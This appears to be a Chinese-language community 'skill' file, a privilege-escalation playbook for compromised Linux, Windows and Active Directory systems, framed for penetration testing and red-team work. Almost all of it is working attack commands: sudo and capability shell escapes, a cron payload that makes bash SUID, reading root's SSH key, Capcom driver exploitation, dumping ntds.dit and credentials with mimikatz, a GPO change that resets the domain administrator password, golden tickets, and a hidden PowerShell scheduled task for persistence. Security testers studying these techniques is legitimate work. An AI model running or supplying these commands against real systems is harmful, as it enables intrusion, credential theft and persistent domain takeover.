---

name: privilege-escalation-methods description: "提供从低权限用户提升到 root/管理员权限的全面技术，适用于已入侵的 Linux 和 Windows 系统。对渗透测试后利用阶段和红队操作至关重要。" risk: unknown source: community author: zebbern date_added: "2026-02-27"

权限提升方法

目的

提供从低权限用户提升到 root/管理员权限的全面技术，适用于已入侵的 Linux 和 Windows 系统。对渗透测试后利用阶段和红队操作至关重要。

输入/前提条件

• 目标系统上的初始低权限 shell 访问
• Kali Linux 或渗透测试发行版
• 工具：Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
• 了解 Windows/Linux 权限模型
• AD 攻击需要：域用户凭据和到 DC 的网络访问

输出/交付物

• Root 或管理员 shell 访问
• 提取的凭据和哈希
• 持久化访问机制
• 域控制（AD 环境）

---

核心技术

Linux 权限提升

1. 滥用 Sudo 二进制文件

利用配置错误的 sudo 权限，使用 GTFOBins 技术：

# 检查 sudo 权限
sudo -l

# 利用常见二进制文件
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash ;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # 然后输入：!bash
sudo man man            # 然后输入：!bash
sudo env /bin/bash

2. 滥用计划任务（Cron）

# 查找可写的 cron 脚本
ls -la /etc/cron*
cat /etc/crontab

# 向可写脚本注入载荷
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# 等待执行，然后：
/bin/bash -p

3. 滥用 Capabilities

# 查找具有 capabilities 的二进制文件
getcap -r / 2>/dev/null

# 具有 cap_setuid 的 Python
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 具有 cap_setuid 的 Perl
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# 具有 cap_dac_read_search 的 Tar（读取任意文件）
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# 检查 NFS 共享
showmount -e <victim_ip>

# 挂载并利用 no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL 以 Root 运行

# 如果 MySQL 以 root 运行
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

---

Windows 权限提升

1. 令牌模拟

# 使用 SweetPotato（SeImpersonatePrivilege）
execute-assembly sweetpotato.exe -p beacon.exe

# 使用 SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. 服务滥用

# 使用 PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. 滥用 SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. 滥用 SeLoadDriverPrivilege

# 加载有漏洞的 Capcom 驱动
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. 滥用 GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

---

Active Directory 攻击

1. Kerberoasting

# 使用 Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# 使用 CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

.\Rubeus.exe asreproast

3. 黄金票据

# DCSync 获取 krbtgt 哈希
mimikatz# lsadump::dcsync /user:krbtgt

# 创建黄金票据
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. 票据传递

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # 验证票据

5. 黄金票据配合计划任务

# 1. 提升权限并转储凭据
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. 创建黄金票据
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. 创建计划任务
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -nop -w hidden -c IEX(...)"